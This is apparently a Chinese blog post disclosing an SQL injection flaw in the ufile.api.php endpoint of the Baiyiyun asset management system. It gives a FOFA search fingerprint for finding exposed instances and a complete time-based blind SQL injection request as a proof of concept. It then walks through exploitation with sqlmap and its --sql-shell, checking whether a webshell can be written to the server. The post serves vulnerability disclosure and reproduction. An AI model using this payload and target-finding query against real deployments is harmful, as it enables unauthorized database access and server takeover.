百易云资产管理运营系统ufile.api.php存在SQL注入漏洞

描述

百易云资产管理运营系统ufile.api.php存在SQL注入漏洞,未经身份验证的远程攻击者除了可以利用 SQL 注入漏洞获取数据库中的信息,甚至在高权限的情况可向服务器中写入木马,进一步获取服务器系统权限

fofa

body="不要着急,点此"

POC

GET /api/file/ufile.api.php?act=filedel&fid=1%20AND%20(SELECT%207357%20FROM%20(SELECT(SLEEP(2)))UPCw) HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:126.0) Gecko/20100101 Firefox/126.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Priority: u=0, i

漏洞复现

fofa中搜索资产,共有154条数据匹配

image-20241027103147292

以下为登录页面以及页面特征

image-20241027103217089

访问存在漏洞的接口地址/api/file/ufile.api.php?act=filedel&fid=1

image-20241028092237961

返回以上页面即可,如果返回403则无漏洞

image-20241027103336340

构造payload

image-20241027103606410

将URL放到sqlmap中进行测试

image-20241027103737264

使用--sql-shell猜测网站路径以及是否可以写入

image-20241027105551339

看这个路径用的是wamp搭建的网站,从网上查一下wamp搭建的网站路径是什么,一般默认是/wamp64/www目录,不过查看@@secure_file_priv却返回了内容,也就是说无法写入。。。

image-20241027110436754

posted @   LeouMaster  阅读(46)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 单线程的Redis速度为什么快?
· 展开说说关于C#中ORM框架的用法!
· Pantheons:用 TypeScript 打造主流大模型对话的一站式集成库
· SQL Server 2025 AI相关能力初探
· 为什么 退出登录 或 修改密码 无法使 token 失效
点击右上角即可分享
微信分享提示